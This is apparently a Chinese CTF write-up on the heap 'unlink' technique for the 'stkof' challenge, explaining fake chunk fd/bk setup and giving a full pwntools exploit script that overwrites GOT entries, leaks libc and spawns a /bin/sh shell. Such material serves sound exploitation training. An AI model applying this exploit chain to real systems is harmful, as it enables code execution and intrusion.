这道题目是wiki上讲unlink漏洞的例题,buu上同样也有
    所以先讲unlink,我觉得怎么理解呢?带例子,光看有点难理解,然后结合源码去绕过那个判断语句
    unlink的条件呢
    1.首先要存在一个控制堆块去记录heap段
    2.存在堆溢出,off by one这些漏洞这类
    3.uaf也同样可以导致
    怎么达到目的
    伪造的chunk fd = & -0x18 bk = &-0x10
    image.png
    这个保护,可以改got表,没有pie
    image.png
    这是个没有显示的菜单题目
    image.png
    对于堆的题目,我感觉边看代码边调试是最好的

    1. creat(0x50)
    2. creat(0x30)
    3. creat(0x80)
    4. creat(0x30)

    image.png
    可以看到,heap上有几个堆块

    1. p_addr = 0x602150
    2. fd = p_addr-0x18
    3. bk = p_addr-0x10
    4. payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)
    5. payload =payload.ljust(0x30,b'a')
    6. payload+=p64(0x30)+p64(0x90)
    7. edit(2,payload)

    image.png
    heap 上的效果
    image.png
    控制堆块的数据
    然后我们free3就能达到unlink的效果
    image.png
    image.png
    效果拔群

    1. payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)
    2. edit(2,payload)
    3. #pause()
    4. payload = p64(puts_plt)
    5. edit(1,payload)
    6. #pause()
    7. free(2)

    这里是将控制堆块改为我们想要用的函数
    image.png
    所以调用free就是调用puts
    然后把puts的地址打印出来,最后呢用libcsearcher找到libc

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. context.arch = 'amd64'
    5. io =process('./stkof')
    6. #io = remote("node4.buuoj.cn",25380)
    7. elf = ELF('./stkof')
    8. puts_got = elf.got['puts']
    9. free_got = elf.got['free']
    10. puts_plt = elf.plt['puts']
    11. gdb.attach(io)
    12. def creat(size):
    13. io.sendline('1')
    14. io.sendline(str(size))
    15. io.recvuntil('OK\n')
    16. def free(index):
    17. io.sendline('3')
    18. io.sendline(str(index))
    19. def edit(id,value):
    20. io.sendline('2')
    21. io.sendline(str(id))
    22. io.sendline(str(len(value)))
    23. io.send(value)
    24. io.recvuntil('OK\n')
    25. creat(0x50)
    26. creat(0x30)
    27. creat(0x80)
    28. creat(0x30)
    29. #pause()
    30. p_addr = 0x602150
    31. fd = p_addr-0x18
    32. bk = p_addr-0x10
    33. payload = p64(0)+p64(0x30)+p64(fd)+p64(bk)
    34. payload =payload.ljust(0x30,b'a')
    35. payload+=p64(0x30)+p64(0x90)
    36. edit(2,payload)
    37. #pause()
    38. free(3)
    39. #pause()
    40. payload = b'a'*(0x10)+p64(free_got)+p64(puts_got)
    41. edit(2,payload)
    42. #pause()
    43. payload = p64(puts_plt)
    44. edit(1,payload)
    45. pause()
    46. free(2)
    47. io.recvuntil('OK\n')
    48. puts_addr = u64(io.recvuntil('\nOK\n',drop=True).ljust(8,'\x00'))
    49. log.success('puts_addr:{}'.format(hex(puts_addr)))
    50. #pause()
    51. libc=LibcSearcher('puts',puts_addr)
    52. libc_base = puts_addr - libc.dump('puts')
    53. system_addr = libc_base + libc.dump('system')
    54. binsh_addr = libc_base + libc.dump('str_bin_sh')
    55. edit(1,p64(system_addr))
    56. edit(4,'/bin/sh\x00')
    57. free(4)
    58. io.interactive()

    最后研究了一下sendline和send,看debug吧sendline会多一个空格,在这里就会导致off by null 的问题,程序也没有按着我们想的来,最后接收会出现问题
    image.png
    红框就是puts的地址,就没有按着我们想的来,所以接收出问题最好的方式就是debug
    image.png